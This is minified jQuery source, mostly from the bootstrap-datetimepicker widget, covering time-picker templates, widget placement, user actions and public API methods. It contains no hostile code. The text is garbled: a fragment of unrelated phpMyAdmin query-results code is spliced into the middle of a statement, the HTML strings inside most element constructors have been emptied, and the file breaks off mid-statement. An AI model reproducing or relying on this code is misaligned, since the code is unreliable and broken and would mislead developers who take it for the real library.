    ') .append($('').attr({href: '#', tabindex: '-1', 'title': options.tooltips.incrementHour}).addClass('btn').attr('data-action', 'incrementHours') .append($('').addClass(options.icons.up)))); middleRow.append($('') .append($('').addClass('timepicker-hour').attr({'data-time-component':'hours', 'title': options.tooltips.pickHour}).attr('data-action', 'showHours'))); bottomRow.append($('') .append($('').attr({href: '#', tabindex: '-1', 'title': options.tooltips.decrementHour}).addClass('btn').attr('data-action', 'decrementHours') .append($('').addClass(options.icons.down)))); } if (isEnabled('m')) { if (isEnabled('h')) { topRow.append($('').addClass('separator')); middleRow.append($('').addClass('separator').html(':')); bottomRow.append($('').addClass('separator')); } topRow.append($('') .append($('').attr({href: '#', tabindex: '-1', 'title': options.tooltips.incrementMinute}).addClass('btn').attr('data-action', 'incrementMinutes') .append($('').addClass(options.icons.up)))); middleRow.append($('') .append($('').addClass('timepicker-minute').attr({'data-time-component': 'minutes', 'title': options.tooltips.pickMinute}).attr('data-action', 'showMinutes'))); bottomRow.append($('') .append($('').attr({href: '#', tabindex: '-1', 'title': options.tooltips.decrementMinute}).addClass('btn').attr('data-action', 'decrementMinutes') .append($('').addClass(options.icons.down)))); } if (isEnabled('s')) { if (isEnabled('m')) { topRow.append($('').addClass('separator')); middleRow.append($('').addClass('separator').html(':')); bottomRow.append($('').addClass('separator')); } topRow.append($('') .append($('').attr({href: '#', tabindex: '-1', 'title': options.tooltips.incrementSecond}).addClass('btn').attr('data-action', 'incrementSeconds') .append($('').addClass(options.icons.up)))); middleRow.append($('') .append($('').addClass('timepicker-second').attr({'data-time-component': 'seconds', 'title': options.tooltips.pickSecond}).attr('data-action', 'showSeconds'))); bottomRow.append($('') .append($('').attr({href: '#', tabindex: '-1', 'title': options.tooltips.decrementSecond}).addClass('btn').attr('data-action', 'decrementSeconds') .append($('').addClass(options.icons.down)))); } if (!use24Hours) { topRow.append($('').addClass('separator')); middleRow.append($('') .append($('').addClass('separator')); } return $('
    ').addClass('timepicker-picker') .append($('').addClass('table-condensed') .append([topRow, middleRow, bottomRow])); }, getTimePickerTemplate = function () { var hoursView = $('
    ').addClass('timepicker-hours') .append($('
    ').addClass('table-condensed')), minutesView = $('
    ').addClass('timepicker-minutes') .append($('
    ').addClass('table-condensed')), secondsView = $('
    ').addClass('timepicker-seconds') .append($('
    ').addClass('table-condensed')), ret = [getTimePickerMainTemplate()]; if (isEnabled('h')) { ret.push(hoursView); } if (isEnabled('m')) { ret.push(minutesView); } if (isEnabled('s')) { ret.push(secondsView); } return ret; }, getToolbar = function () { var row = []; if (options.showTodayButton) { row.push($('' : ''); // Selecting columns that will be considered for filtering and searching. $header_cells.each(function () { target_columns.push($.trim($(this).text())); }); var phrase = $(this).val(); // Set same value to both Filter rows fields. $(".filter_rows").val(phrase); // Handle colspan. $target_table.find("thead > tr").prepend(dummy_th); $.uiTableFilter($target_table, phrase, target_columns); $target_table.find("th.dummy_th").remove(); }); // Filter row handling. --ENDS--}); // end $()/** * Starting from some th, change the class of all td under it. * If isAddClass is specified, it will be used to determine whether to add or remove the class. */function PMA_changeClassForColumn($this_th, newclass, isAddClass){ // index 0 is the th containing the big T var th_index = $this_th.index(); var has_big_t = !$this_th.closest('tr').children(':first').hasClass('column_heading'); // .eq() is zero-based if (has_big_t) { th_index--; } var $tds = $("#table_results").find('tbody tr').find('td.data:eq(' + th_index + ')'); if (isAddClass === undefined) { $tds.toggleClass(newclass); } else { $tds.toggleClass(newclass, isAddClass); }}AJAX.registerOnload('sql.js', function () { $('a.browse_foreign').live('click', function (e) { e.preventDefault(); window.open(this.href, 'foreigners', 'width=640,height=240,scrollbars=yes,resizable=yes'); $anchor = $(this); $anchor.addClass('browse_foreign_clicked'); }); /** * vertical column highlighting in horizontal mode when hovering over the column header */ $('th.column_heading.pointer').live('hover', function (e) { PMA_changeClassForColumn($(this), 'hover', e.type == 'mouseenter'); }); /** * vertical column marking in horizontal mode when clicking the column header */ $('th.column_heading.marker').live('click', function () { PMA_changeClassForColumn($(this), 'marked'); }); /** * create resizable table */ $("#sqlqueryresults").trigger('makegrid').trigger('stickycolumns');});/* * Profiling Chart */function makeProfilingChart(){ if ($('#profilingchart').length === 0 || $('#profilingchart').html().length !== 0 || !$.jqplot || !$.jqplot.Highlighter || !$.jqplot.PieRenderer ) { return; } var data = []; $.each(jQuery.parseJSON($('#profilingChartData').html()), function (key, value) { data.push([key, parseFloat(value)]); }); // Remove chart and data divs contents $('#profilingchart').html('').show(); $('#profilingChartData').html(''); PMA_createProfilingChartJqplot('profilingchart', data);}/* * initialize profiling data tables */function initProfilingTables(){ if (!$.tablesorter) { return; } $('#profiletable').tablesorter({ widgets: ['zebra'], sortList: [[0, 0]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); $('#profilesummarytable').tablesorter({ widgets: ['zebra'], sortList: [[1, 1]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } });}/* * Set position, left, top, width of sticky_columns div */function setStickyColumnsPosition(position, top, left) { if ($("#sticky_columns").length !== 0) { $("#sticky_columns") .css("position", position) .css("top", top) .css("left", left ? left : "auto") .css("width", $("#table_results").width()); }}/* * Initialize sticky columns */function initStickyColumns() { fixedTop = $('#floating_menubar').height(); if ($("#sticky_columns").length === 0) { $('
    ').append($('').attr({'data-action':'today', 'title': options.tooltips.today}).append($('').addClass(options.icons.today)))); } if (!options.sideBySide && hasDate() && hasTime()) { row.push($('').append($('').attr({'data-action':'togglePicker', 'title': options.tooltips.selectTime}).append($('').addClass(options.icons.time)))); } if (options.showClear) { row.push($('').append($('').attr({'data-action':'clear', 'title': options.tooltips.clear}).append($('').addClass(options.icons.clear)))); } if (options.showClose) { row.push($('').append($('').attr({'data-action':'close', 'title': options.tooltips.close}).append($('').addClass(options.icons.close)))); } return $('').addClass('table-condensed').append($('').append($('').append(row))); }, getTemplate = function () { var template = $('
    ').addClass('bootstrap-datetimepicker-widget dropdown-menu'), dateView = $('
    ').addClass('datepicker').append(getDatePickerTemplate()), timeView = $('
    ').addClass('timepicker').append(getTimePickerTemplate()), content = $('
      ').addClass('list-unstyled'), toolbar = $('
    • ').addClass('picker-switch' + (options.collapse ? ' accordion-toggle' : '')).append(getToolbar()); if (options.inline) { template.removeClass('dropdown-menu'); } if (use24Hours) { template.addClass('usetwentyfour'); } if (isEnabled('s') && !use24Hours) { template.addClass('wider'); } if (options.sideBySide && hasDate() && hasTime()) { template.addClass('timepicker-sbs'); if (options.toolbarPlacement === 'top') { template.append(toolbar); } template.append( $('
      ').addClass('row') .append(dateView.addClass('col-md-6')) .append(timeView.addClass('col-md-6')) ); if (options.toolbarPlacement === 'bottom') { template.append(toolbar); } return template; } if (options.toolbarPlacement === 'top') { content.append(toolbar); } if (hasDate()) { content.append($('
    • ').addClass((options.collapse && hasTime() ? 'collapse in' : '')).append(dateView)); } if (options.toolbarPlacement === 'default') { content.append(toolbar); } if (hasTime()) { content.append($('
    • ').addClass((options.collapse && hasDate() ? 'collapse' : '')).append(timeView)); } if (options.toolbarPlacement === 'bottom') { content.append(toolbar); } return template.append(content); }, dataToOptions = function () { var eData, dataOptions = {}; if (element.is('input') || options.inline) { eData = element.data(); } else { eData = element.find('input').data(); } if (eData.dateOptions && eData.dateOptions instanceof Object) { dataOptions = $.extend(true, dataOptions, eData.dateOptions); } $.each(options, function (key) { var attributeName = 'date' + key.charAt(0).toUpperCase() + key.slice(1); if (eData[attributeName] !== undefined) { dataOptions[key] = eData[attributeName]; } }); return dataOptions; }, place = function () { var position = (component || element).position(), offset = (component || element).offset(), vertical = options.widgetPositioning.vertical, horizontal = options.widgetPositioning.horizontal, parent; if (options.widgetParent) { parent = options.widgetParent.append(widget); } else if (element.is('input')) { parent = element.after(widget).parent(); } else if (options.inline) { parent = element.append(widget); return; } else { parent = element; element.children().first().after(widget); } // Top and bottom logic if (vertical === 'auto') { if (offset.top + widget.height() * 1.5 >= $(window).height() + $(window).scrollTop() && widget.height() + element.outerHeight() < offset.top) { vertical = 'top'; } else { vertical = 'bottom'; } } // Left and right logic if (horizontal === 'auto') { if (parent.width() < offset.left + widget.outerWidth() / 2 && offset.left + widget.outerWidth() > $(window).width()) { horizontal = 'right'; } else { horizontal = 'left'; } } if (vertical === 'top') { widget.addClass('top').removeClass('bottom'); } else { widget.addClass('bottom').removeClass('top'); } if (horizontal === 'right') { widget.addClass('pull-right'); } else { widget.removeClass('pull-right'); } // find the first parent element that has a relative css positioning if (parent.css('position') !== 'relative') { parent = parent.parents().filter(function () { return $(this).css('position') === 'relative'; }).first(); } if (parent.length === 0) { throw new Error('datetimepicker component should be placed within a relative positioned container'); } widget.css({ top: vertical === 'top' ? 'auto' : position.top + element.outerHeight(), bottom: vertical === 'top' ? position.top + element.outerHeight() : 'auto', left: horizontal === 'left' ? (parent === element ? 0 : position.left) : 'auto', right: horizontal === 'left' ? 'auto' : parent.outerWidth() - element.outerWidth() - (parent === element ? 0 : position.left) }); }, notifyEvent = function (e) { if (e.type === 'dp.change' && ((e.date && e.date.isSame(e.oldDate)) || (!e.date && !e.oldDate))) { return; } element.trigger(e); }, viewUpdate = function (e) { if (e === 'y') { e = 'YYYY'; } notifyEvent({ type: 'dp.update', change: e, viewDate: viewDate.clone() }); }, showMode = function (dir) { if (!widget) { return; } if (dir) { currentViewMode = Math.max(minViewModeNumber, Math.min(3, currentViewMode + dir)); } widget.find('.datepicker > div').hide().filter('.datepicker-' + datePickerModes[currentViewMode].clsName).show(); }, fillDow = function () { var row = $('
    '), currentDate = viewDate.clone().startOf('w').startOf('d'); if (options.calendarWeeks === true) { row.append($(''); if (options.calendarWeeks) { row.append(''); } html.push(row); } clsName = ''; if (currentDate.isBefore(viewDate, 'M')) { clsName += ' old'; } if (currentDate.isAfter(viewDate, 'M')) { clsName += ' new'; } if (currentDate.isSame(date, 'd') && !unset) { clsName += ' active'; } if (!isValid(currentDate, 'd')) { clsName += ' disabled'; } if (currentDate.isSame(getMoment(), 'd')) { clsName += ' today'; } if (currentDate.day() === 0 || currentDate.day() === 6) { clsName += ' weekend'; } row.append(''); currentDate.add(1, 'd'); } daysView.find('tbody').empty().append(html); updateMonths(); updateYears(); updateDecades(); }, fillHours = function () { var table = widget.find('.timepicker-hours table'), currentHour = viewDate.clone().startOf('d'), html = [], row = $(''); if (viewDate.hour() > 11 && !use24Hours) { currentHour.hour(12); } while (currentHour.isSame(viewDate, 'd') && (use24Hours || (viewDate.hour() < 12 && currentHour.hour() < 12) || viewDate.hour() > 11)) { if (currentHour.hour() % 4 === 0) { row = $(''); html.push(row); } row.append(''); currentHour.add(1, 'h'); } table.empty().append(html); }, fillMinutes = function () { var table = widget.find('.timepicker-minutes table'), currentMinute = viewDate.clone().startOf('h'), html = [], row = $(''), step = options.stepping === 1 ? 5 : options.stepping; while (viewDate.isSame(currentMinute, 'h')) { if (currentMinute.minute() % (step * 4) === 0) { row = $(''); html.push(row); } row.append(''); currentMinute.add(step, 'm'); } table.empty().append(html); }, fillSeconds = function () { var table = widget.find('.timepicker-seconds table'), currentSecond = viewDate.clone().startOf('m'), html = [], row = $(''); while (viewDate.isSame(currentSecond, 'm')) { if (currentSecond.second() % 20 === 0) { row = $(''); html.push(row); } row.append(''); currentSecond.add(5, 's'); } table.empty().append(html); }, fillTime = function () { var toggle, newDate, timeComponents = widget.find('.timepicker span[data-time-component]'); if (!use24Hours) { toggle = widget.find('.timepicker [data-action=togglePeriod]'); newDate = date.clone().add((date.hours() >= 12) ? -12 : 12, 'h'); toggle.text(date.format('A')); if (isValid(newDate, 'h')) { toggle.removeClass('disabled'); } else { toggle.addClass('disabled'); } } timeComponents.filter('[data-time-component=hours]').text(date.format(use24Hours ? 'HH' : 'hh')); timeComponents.filter('[data-time-component=minutes]').text(date.format('mm')); timeComponents.filter('[data-time-component=seconds]').text(date.format('ss')); fillHours(); fillMinutes(); fillSeconds(); }, update = function () { if (!widget) { return; } fillDate(); fillTime(); }, setValue = function (targetMoment) { var oldDate = unset ? null : date; // case of calling setValue(null or false) if (!targetMoment) { unset = true; input.val(''); element.data('date', ''); notifyEvent({ type: 'dp.change', date: false, oldDate: oldDate }); update(); return; } targetMoment = targetMoment.clone().locale(options.locale); if (options.stepping !== 1) { targetMoment.minutes((Math.round(targetMoment.minutes() / options.stepping) * options.stepping) % 60).seconds(0); } if (isValid(targetMoment)) { date = targetMoment; viewDate = date.clone(); input.val(date.format(actualFormat)); element.data('date', date.format(actualFormat)); unset = false; update(); notifyEvent({ type: 'dp.change', date: date.clone(), oldDate: oldDate }); } else { if (!options.keepInvalid) { input.val(unset ? '' : date.format(actualFormat)); } notifyEvent({ type: 'dp.error', date: targetMoment }); } }, hide = function () { ///Hides the widget. Possibly will emit dp.hide var transitioning = false; if (!widget) { return picker; } // Ignore event if in the middle of a picker transition widget.find('.collapse').each(function () { var collapseData = $(this).data('collapse'); if (collapseData && collapseData.transitioning) { transitioning = true; return false; } return true; }); if (transitioning) { return picker; } if (component && component.hasClass('btn')) { component.toggleClass('active'); } widget.hide(); $(window).off('resize', place); widget.off('click', '[data-action]'); widget.off('mousedown', false); widget.remove(); widget = false; notifyEvent({ type: 'dp.hide', date: date.clone() }); input.blur(); return picker; }, clear = function () { setValue(null); }, /******************************************************************************** * * Widget UI interaction functions * ********************************************************************************/ actions = { next: function () { var navFnc = datePickerModes[currentViewMode].navFnc; viewDate.add(datePickerModes[currentViewMode].navStep, navFnc); fillDate(); viewUpdate(navFnc); }, previous: function () { var navFnc = datePickerModes[currentViewMode].navFnc; viewDate.subtract(datePickerModes[currentViewMode].navStep, navFnc); fillDate(); viewUpdate(navFnc); }, pickerSwitch: function () { showMode(1); }, selectMonth: function (e) { var month = $(e.target).closest('tbody').find('span').index($(e.target)); viewDate.month(month); if (currentViewMode === minViewModeNumber) { setValue(date.clone().year(viewDate.year()).month(viewDate.month())); if (!options.inline) { hide(); } } else { showMode(-1); fillDate(); } viewUpdate('M'); }, selectYear: function (e) { var year = parseInt($(e.target).text(), 10) || 0; viewDate.year(year); if (currentViewMode === minViewModeNumber) { setValue(date.clone().year(viewDate.year())); if (!options.inline) { hide(); } } else { showMode(-1); fillDate(); } viewUpdate('YYYY'); }, selectDecade: function (e) { var year = parseInt($(e.target).data('selection'), 10) || 0; viewDate.year(year); if (currentViewMode === minViewModeNumber) { setValue(date.clone().year(viewDate.year())); if (!options.inline) { hide(); } } else { showMode(-1); fillDate(); } viewUpdate('YYYY'); }, selectDay: function (e) { var day = viewDate.clone(); if ($(e.target).is('.old')) { day.subtract(1, 'M'); } if ($(e.target).is('.new')) { day.add(1, 'M'); } setValue(day.date(parseInt($(e.target).text(), 10))); if (!hasTime() && !options.keepOpen && !options.inline) { hide(); } }, incrementHours: function () { var newDate = date.clone().add(1, 'h'); if (isValid(newDate, 'h')) { setValue(newDate); } }, incrementMinutes: function () { var newDate = date.clone().add(options.stepping, 'm'); if (isValid(newDate, 'm')) { setValue(newDate); } }, incrementSeconds: function () { var newDate = date.clone().add(1, 's'); if (isValid(newDate, 's')) { setValue(newDate); } }, decrementHours: function () { var newDate = date.clone().subtract(1, 'h'); if (isValid(newDate, 'h')) { setValue(newDate); } }, decrementMinutes: function () { var newDate = date.clone().subtract(options.stepping, 'm'); if (isValid(newDate, 'm')) { setValue(newDate); } }, decrementSeconds: function () { var newDate = date.clone().subtract(1, 's'); if (isValid(newDate, 's')) { setValue(newDate); } }, togglePeriod: function () { setValue(date.clone().add((date.hours() >= 12) ? -12 : 12, 'h')); }, togglePicker: function (e) { var $this = $(e.target), $parent = $this.closest('ul'), expanded = $parent.find('.in'), closed = $parent.find('.collapse:not(.in)'), collapseData; if (expanded && expanded.length) { collapseData = expanded.data('collapse'); if (collapseData && collapseData.transitioning) { return; } if (expanded.collapse) { // if collapse plugin is available through bootstrap.js then use it expanded.collapse('hide'); closed.collapse('show'); } else { // otherwise just toggle in class on the two views expanded.removeClass('in'); closed.addClass('in'); } if ($this.is('span')) { $this.toggleClass(options.icons.time + ' ' + options.icons.date); } else { $this.find('span').toggleClass(options.icons.time + ' ' + options.icons.date); } // NOTE: uncomment if toggled state will be restored in show() //if (component) { // component.find('span').toggleClass(options.icons.time + ' ' + options.icons.date); //} } }, showPicker: function () { widget.find('.timepicker > div:not(.timepicker-picker)').hide(); widget.find('.timepicker .timepicker-picker').show(); }, showHours: function () { widget.find('.timepicker .timepicker-picker').hide(); widget.find('.timepicker .timepicker-hours').show(); }, showMinutes: function () { widget.find('.timepicker .timepicker-picker').hide(); widget.find('.timepicker .timepicker-minutes').show(); }, showSeconds: function () { widget.find('.timepicker .timepicker-picker').hide(); widget.find('.timepicker .timepicker-seconds').show(); }, selectHour: function (e) { var hour = parseInt($(e.target).text(), 10); if (!use24Hours) { if (date.hours() >= 12) { if (hour !== 12) { hour += 12; } } else { if (hour === 12) { hour = 0; } } } setValue(date.clone().hours(hour)); actions.showPicker.call(picker); }, selectMinute: function (e) { setValue(date.clone().minutes(parseInt($(e.target).text(), 10))); actions.showPicker.call(picker); }, selectSecond: function (e) { setValue(date.clone().seconds(parseInt($(e.target).text(), 10))); actions.showPicker.call(picker); }, clear: clear, today: function () { var todaysDate = getMoment(); if (isValid(todaysDate, 'd')) { setValue(todaysDate); } }, close: hide }, doAction = function (e) { if ($(e.currentTarget).is('.disabled')) { return false; } actions[$(e.currentTarget).data('action')].apply(picker, arguments); return false; }, show = function () { ///Shows the widget. Possibly will emit dp.show and dp.change var currentMoment, useCurrentGranularity = { 'year': function (m) { return m.month(0).date(1).hours(0).seconds(0).minutes(0); }, 'month': function (m) { return m.date(1).hours(0).seconds(0).minutes(0); }, 'day': function (m) { return m.hours(0).seconds(0).minutes(0); }, 'hour': function (m) { return m.seconds(0).minutes(0); }, 'minute': function (m) { return m.seconds(0); } }; if (input.prop('disabled') || (!options.ignoreReadonly && input.prop('readonly')) || widget) { return picker; } if (input.val() !== undefined && input.val().trim().length !== 0) { setValue(parseInputDate(input.val().trim())); } else if (options.useCurrent && unset && ((input.is('input') && input.val().trim().length === 0) || options.inline)) { currentMoment = getMoment(); if (typeof options.useCurrent === 'string') { currentMoment = useCurrentGranularity[options.useCurrent](currentMoment); } setValue(currentMoment); } widget = getTemplate(); fillDow(); fillMonths(); widget.find('.timepicker-hours').hide(); widget.find('.timepicker-minutes').hide(); widget.find('.timepicker-seconds').hide(); update(); showMode(); $(window).on('resize', place); widget.on('click', '[data-action]', doAction); // this handles clicks on the widget widget.on('mousedown', false); if (component && component.hasClass('btn')) { component.toggleClass('active'); } widget.show(); place(); if (options.focusOnShow && !input.is(':focus')) { input.focus(); } notifyEvent({ type: 'dp.show' }); return picker; }, toggle = function () { /// Shows or hides the widget return (widget ? hide() : show()); }, parseInputDate = function (inputDate) { if (options.parseInputDate === undefined) { if (moment.isMoment(inputDate) || inputDate instanceof Date) { inputDate = moment(inputDate); } else { inputDate = getMoment(inputDate); } } else { inputDate = options.parseInputDate(inputDate); } inputDate.locale(options.locale); return inputDate; }, keydown = function (e) { var handler = null, index, index2, pressedKeys = [], pressedModifiers = {}, currentKey = e.which, keyBindKeys, allModifiersPressed, pressed = 'p'; keyState[currentKey] = pressed; for (index in keyState) { if (keyState.hasOwnProperty(index) && keyState[index] === pressed) { pressedKeys.push(index); if (parseInt(index, 10) !== currentKey) { pressedModifiers[index] = true; } } } for (index in options.keyBinds) { if (options.keyBinds.hasOwnProperty(index) && typeof (options.keyBinds[index]) === 'function') { keyBindKeys = index.split(' '); if (keyBindKeys.length === pressedKeys.length && keyMap[currentKey] === keyBindKeys[keyBindKeys.length - 1]) { allModifiersPressed = true; for (index2 = keyBindKeys.length - 2; index2 >= 0; index2--) { if (!(keyMap[keyBindKeys[index2]] in pressedModifiers)) { allModifiersPressed = false; break; } } if (allModifiersPressed) { handler = options.keyBinds[index]; break; } } } } if (handler) { handler.call(picker, widget); e.stopPropagation(); e.preventDefault(); } }, keyup = function (e) { keyState[e.which] = 'r'; e.stopPropagation(); e.preventDefault(); }, change = function (e) { var val = $(e.target).val().trim(), parsedDate = val ? parseInputDate(val) : null; setValue(parsedDate); e.stopImmediatePropagation(); return false; }, attachDatePickerElementEvents = function () { input.on({ 'change': change, 'blur': options.debug ? '' : hide, 'keydown': keydown, 'keyup': keyup, 'focus': options.allowInputToggle ? show : '' }); if (element.is('input')) { input.on({ 'focus': show }); } else if (component) { component.on('click', toggle); component.on('mousedown', false); } }, detachDatePickerElementEvents = function () { input.off({ 'change': change, 'blur': blur, 'keydown': keydown, 'keyup': keyup, 'focus': options.allowInputToggle ? hide : '' }); if (element.is('input')) { input.off({ 'focus': show }); } else if (component) { component.off('click', toggle); component.off('mousedown', false); } }, indexGivenDates = function (givenDatesArray) { // Store given enabledDates and disabledDates as keys. // This way we can check their existence in O(1) time instead of looping through whole array. // (for example: options.enabledDates['2014-02-27'] === true) var givenDatesIndexed = {}; $.each(givenDatesArray, function () { var dDate = parseInputDate(this); if (dDate.isValid()) { givenDatesIndexed[dDate.format('YYYY-MM-DD')] = true; } }); return (Object.keys(givenDatesIndexed).length) ? givenDatesIndexed : false; }, indexGivenHours = function (givenHoursArray) { // Store given enabledHours and disabledHours as keys. // This way we can check their existence in O(1) time instead of looping through whole array. // (for example: options.enabledHours['2014-02-27'] === true) var givenHoursIndexed = {}; $.each(givenHoursArray, function () { givenHoursIndexed[this] = true; }); return (Object.keys(givenHoursIndexed).length) ? givenHoursIndexed : false; }, initFormatting = function () { var format = options.format || 'L LT'; actualFormat = format.replace(/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g, function (formatInput) { var newinput = date.localeData().longDateFormat(formatInput) || formatInput; return newinput.replace(/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g, function (formatInput2) { //temp fix for #740 return date.localeData().longDateFormat(formatInput2) || formatInput2; }); }); parseFormats = options.extraFormats ? options.extraFormats.slice() : []; if (parseFormats.indexOf(format) < 0 && parseFormats.indexOf(actualFormat) < 0) { parseFormats.push(actualFormat); } use24Hours = (actualFormat.toLowerCase().indexOf('a') < 1 && actualFormat.replace(/\[.*?\]/g, '').indexOf('h') < 1); if (isEnabled('y')) { minViewModeNumber = 2; } if (isEnabled('M')) { minViewModeNumber = 1; } if (isEnabled('d')) { minViewModeNumber = 0; } currentViewMode = Math.max(minViewModeNumber, currentViewMode); if (!unset) { setValue(date); } }; /******************************************************************************** * * Public API functions * ===================== * * Important: Do not expose direct references to private objects or the options * object to the outer world. Always return a clone when returning values or make * a clone when setting a private variable. * ********************************************************************************/ picker.destroy = function () { ///Destroys the widget and removes all attached event listeners hide(); detachDatePickerElementEvents(); element.removeData('DateTimePicker'); element.removeData('date'); }; picker.toggle = toggle; picker.show = show; picker.hide = hide; picker.disable = function () { ///Disables the input element, the component is attached to, by adding a disabled="true" attribute to it. ///If the widget was visible before that call it is hidden. Possibly emits dp.hide hide(); if (component && component.hasClass('btn')) { component.addClass('disabled'); } input.prop('disabled', true); return picker; }; picker.enable = function () { ///Enables the input element, the component is attached to, by removing disabled attribute from it. if (component && component.hasClass('btn')) { component.removeClass('disabled'); } input.prop('disabled', false); return picker; }; picker.ignoreReadonly = function (ignoreReadonly) { if (arguments.length === 0) { return options.ignoreReadonly; } if (typeof ignoreReadonly !== 'boolean') { throw new TypeError('ignoreReadonly () expects a boolean parameter'); } options.ignoreReadonly = ignoreReadonly; return picker; }; picker.options = function (newOptions) { if (arguments.length === 0) { return $.extend(true, {}, options); } if (!(newOptions instanceof Object)) { throw new TypeError('options() options parameter should be an object'); } $.extend(true, options, newOptions); $.each(options, function (key, value) { if (picker[key] !== undefined) { picker[key](value); } else { throw new TypeError('option ' + key + ' is not recognized!'); } }); return picker; }; picker.date = function (newDate) { /// ///Returns the component's model current date, a moment object or null if not set. ///date.clone() /// /// ///Sets the components model current moment to it. Passing a null value unsets the components model current moment. Parsing of the newDate parameter is made using moment library with the options.format and options.useStrict components configuration. ///Takes string, Date, moment, null parameter. /// if (arguments.length === 0) { if (unset) { return null; } return date.clone(); } if (newDate !== null && typeof newDate !== 'string' && !moment.isMoment(newDate) && !(newDate instanceof Date)) { throw new TypeError('date() parameter must be one of [null, string, moment or Date]'); } setValue(newDate === null ? null : parseInputDate(newDate)); return picker; }; picker.format = function (newFormat) { ///test su ///info about para ///returns foo if (arguments.length === 0) { return options.format; } if ((typeof newFormat !== 'string') && ((typeof newFormat !== 'boolean') || (newFormat !== false))) { throw new TypeError('format() expects a sting or boolean:false parameter ' + newFormat); } options.format = newFormat; if (actualFormat) { initFormatting(); // reinit formatting } return picker; }; picker.timeZone = function (newZone) { if (arguments.length === 0) { return options.timeZone; } options.timeZone = newZone; return picker; }; picker.dayViewHeaderFormat = function (newFormat) { if (arguments.length === 0) { return options.dayViewHeaderFormat; } if (typeof newFormat !== 'string') { throw new TypeError('dayViewHeaderFormat() expects a string parameter'); } options.dayViewHeaderFormat = newFormat; return picker; }; picker.extraFormats = function (formats) { if (arguments.length === 0) { return options.extraFormats; } if (formats !== false && !(formats instanceof Array)) { throw new TypeError('extraFormats() expects an array or false parameter'); } options.extraFormats = formats; if (parseFormats) { initFormatting(); // reinit formatting } return picker; }; picker.disabledDates = function (dates) { /// ///Returns an array with the currently set disabled dates on the component. ///options.disabledDates /// /// ///Setting this takes precedence over options.minDate, options.maxDate configuration. Also calling this function removes the configuration of ///options.enabledDates if such exist. ///Takes an [ string or Date or moment ] of values and allows the user to select only from those days. /// if (arguments.length === 0) { return (options.disabledDates ? $.extend({}, options.disabledDates) : options.disabledDates); } if (!dates) { options.disabledDates = false; update(); return picker; } if (!(dates instanceof Array)) { throw new TypeError('disabledDates() expects an array parameter'); } options.disabledDates = indexGivenDates(dates); options.enabledDates = false; update(); return picker; }; picker.enabledDates = function (dates) { /// ///Returns an array with the currently set enabled dates on the component. ///options.enabledDates /// /// ///Setting this takes precedence over options.minDate, options.maxDate configuration. Also calling this function removes the configuration of options.disabledDates if such exist. ///Takes an [ string or Date or moment ] of values and allows the user to select only from those days. /// if (arguments.length === 0) { return (options.enabledDates ? $.extend({}, options.enabledDates) : options.enabledDates); } if (!dates) { options.enabledDates = false; update(); return picker; } if (!(dates instanceof Array)) { throw new TypeError('enabledDates() expects an array parameter'); } options.enabledDates = indexGivenDates(dates); options.disabledDates = false; update(); return picker; }; picker.daysOfWeekDisabled = function (daysOfWeekDisabled) { if (arguments.length === 0) { return options.daysOfWeekDisabled.splice(0); } if ((typeof daysOfWeekDisabled === 'boolean') && !daysOfWeekDisabled) { options.daysOfWeekDisabled = false; update(); return picker; } if (!(daysOfWeekDisabled instanceof Array)) { throw new TypeError('daysOfWeekDisabled() expects an array parameter'); } options.daysOfWeekDisabled = daysOfWeekDisabled.reduce(function (previousValue, currentValue) { currentValue = parseInt(currentValue, 10); if (currentValue > 6 || currentValue < 0 || isNaN(currentValue)) { return previousValue; } if (previousValue.indexOf(currentValue) === -1) { previousValue.push(currentValue); } return previousValue; }, []).sort(); if (options.useCurrent && !options.keepInvalid) { var tries = 0; while (!isValid(date, 'd')) { date.add(1, 'd'); if (tries === 7) { throw 'Tried 7 times to find a valid date'; } tries++; } setValue(date); } update(); return picker; }; picker.maxDate = function (maxDate) { if (arguments.length === 0) { return options.maxDate ? options.maxDate.clone() : options.maxDate; } if ((typeof maxDate === 'boolean') && maxDate === false) { options.maxDate = false; update(); return picker; } if (typeof maxDate === 'string') { if (maxDate === 'now' || maxDate === 'moment') { maxDate = getMoment(); } } var parsedDate = parseInputDate(maxDate); if (!parsedDate.isValid()) { throw new TypeError('maxDate() Could not parse date parameter: ' + maxDate); } if (options.minDate && parsedDate.isBefore(options.minDate)) { throw new TypeError('maxDate() date parameter is before options.minDate: ' + parsedDate.format(actualFormat)); } options.maxDate = parsedDate; if (options.useCurrent && !options.keepInvalid && date.isAfter(maxDate)) { setValue(options.maxDate); } if (viewDate.isAfter(parsedDate)) { viewDate = parsedDate.clone().subtract(options.stepping, 'm'); } update(); return picker; }; picker.minDate = function (minDate) { if (arguments.length === 0) { return options.minDate ? options.minDate.clone() : options.minDate; } if ((typeof minDate === 'boolean') && minDate === false) { options.minDate = false; update(); return picker; } if (typeof minDate === 'string') { if (minDate === 'now' || minDate === 'moment') { minDate = getMoment(); } } var parsedDate = parseInputDate(minDate); if (!parsedDate.isValid()) { throw new TypeError('minDate() Could not parse date parameter: ' + minDate); } if (options.maxDate && parsedDate.isAfter(options.maxDate)) { throw new TypeError('minDate() date parameter is after options.maxDate: ' + parsedDate.format(actualFormat)); } options.minDate = parsedDate; if (options.useCurrent && !options.keepInvalid && date.isBefore(minDate)) { setValue(options.minDate); } if (viewDate.isBefore(parsedDate)) { viewDate = parsedDate.clone().add(options.stepping, 'm'); } update(); return picker; }; picker.defaultDate = function (defaultDate) { /// ///Returns a moment with the options.defaultDate option configuration or false if not set ///date.clone() /// /// ///Will set the picker's inital date. If a boolean:false value is passed the options.defaultDate parameter is cleared. ///Takes a string, Date, moment, boolean:false /// if (arguments.length === 0) { return options.defaultDate ? options.defaultDate.clone() : options.defaultDate; } if (!defaultDate) { options.defaultDate = false; return picker; } if (typeof defaultDate === 'string') { if (defaultDate === 'now' || defaultDate === 'moment') { defaultDate = getMoment(); } } var parsedDate = parseInputDate(defaultDate); if (!parsedDate.isValid()) { throw new TypeError('defaultDate() Could not parse date parameter: ' + defaultDate); } if (!isValid(parsedDate)) { throw new TypeError('defaultDate() date passed is invalid according to component setup validations'); } options.defaultDate = parsedDate; if ((options.defaultDate && options.inline) || input.val().trim() === '') { setValue(options.defaultDate); } return picker; }; picker.locale = function (locale) { if (arguments.length === 0) { return options.locale; } if (!moment.localeData(locale)) { throw new 